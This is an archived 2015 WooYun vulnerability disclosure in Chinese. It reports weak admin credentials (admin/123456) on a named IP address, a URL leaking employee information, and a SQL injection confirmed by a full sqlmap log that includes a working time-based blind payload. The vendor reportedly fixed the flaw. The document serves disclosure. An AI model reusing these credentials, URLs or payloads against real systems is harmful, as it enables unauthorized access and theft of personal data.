乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-11-10: 细节已通知厂商并且等待厂商处理中 2015-11-11: 厂商已经确认,细节仅向厂商公开 2015-11-21: 细节向核心白帽子及相关领域专家公开 2015-11-23: 厂商已经修复漏洞并主动公开,细节向公众公开
rt
http://219.143.69.58/弱口令admin/123456且为系统管理权限
泄漏公司员工所有信息http://219.143.69.58/sys/index.php?m=structure&u=centerm&a=draw
后台存在sql注入漏洞http://219.143.69.58/sys/index.php?suppressHeaders=1&reflesh=1&m=user&a=edit_info&tab=0&user_id=34user_id参数
C:\Python27\sqlmap>sqlmap.py -r C:\Users\lly\Desktop\1.txt -p "user_id" --dbms=mysql _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20151110}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 13:17:34[13:17:34] [INFO] parsing HTTP request from 'C:\Users\lly\Desktop\1.txt'[13:17:34] [INFO] testing connection to the target URL[13:17:35] [INFO] heuristics detected web page charset 'ISO-8859-2'[13:17:35] [INFO] testing if the target URL is stable. This can take a couple of seconds[13:17:37] [INFO] target URL is stable[13:17:38] [INFO] heuristics detected web page charset 'GB2312'[13:17:38] [WARNING] heuristic (basic) test shows that GET parameter 'user_id' might not be injectable[13:17:39] [INFO] testing for SQL injection on GET parameter 'user_id'[13:17:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[13:17:40] [WARNING] reflective value(s) found and filtering out[13:18:02] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'[13:18:05] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'[13:18:07] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'[13:18:07] [INFO] testing 'MySQL inline queries'[13:18:07] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'[13:18:07] [WARNING] time-based comparison requires larger statistical model, please wait.....[13:18:10] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)[13:18:12] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'[13:19:00] [INFO] GET parameter 'user_id' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectablefor the remaining tests, do you want to include all tests for 'MySQL' extendingprovided level (1) and risk (1) values? [Y/n][13:19:13] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'[13:19:13] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found[13:19:13] [INFO] ORDER BY technique seems to be usable. This should reduce thetime needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test[13:19:16] [INFO] target URL appears to have 3 columns in queryinjection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n][13:19:45] [INFO] testing 'MySQL UNION query (78) - 1 to 20 columns'[13:19:48] [INFO] checking if the injection point on GET parameter 'user_id' isa false positiveGET parameter 'user_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]sqlmap identified the following injection points with a total of 70 HTTP(s) requests:---Parameter: user_id (GET) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: suppressHeaders=1&reflesh=1&m=user&a=edit_info&tab=0&user_id=52' AND (SELECT * FROM (SELECT(SLEEP(5)))CGWl) AND 'evid'='evid---[13:22:06] [INFO] the back-end DBMS is MySQLweb application technology: PHP 5.3.28back-end DBMS: MySQL 5.0.12[13:22:06] [WARNING] HTTP error codes detected during run:500 (Internal Server Error) - 65 times[13:22:06] [INFO] fetched data logged to text files under 'C:\Users\lly\.sqlmap\output\219.143.69.58'
盲注比较慢
00
危害等级:中
漏洞Rank:10
确认时间:2015-11-11 09:50
感谢路人甲无私的奉献
2015-11-23:已修复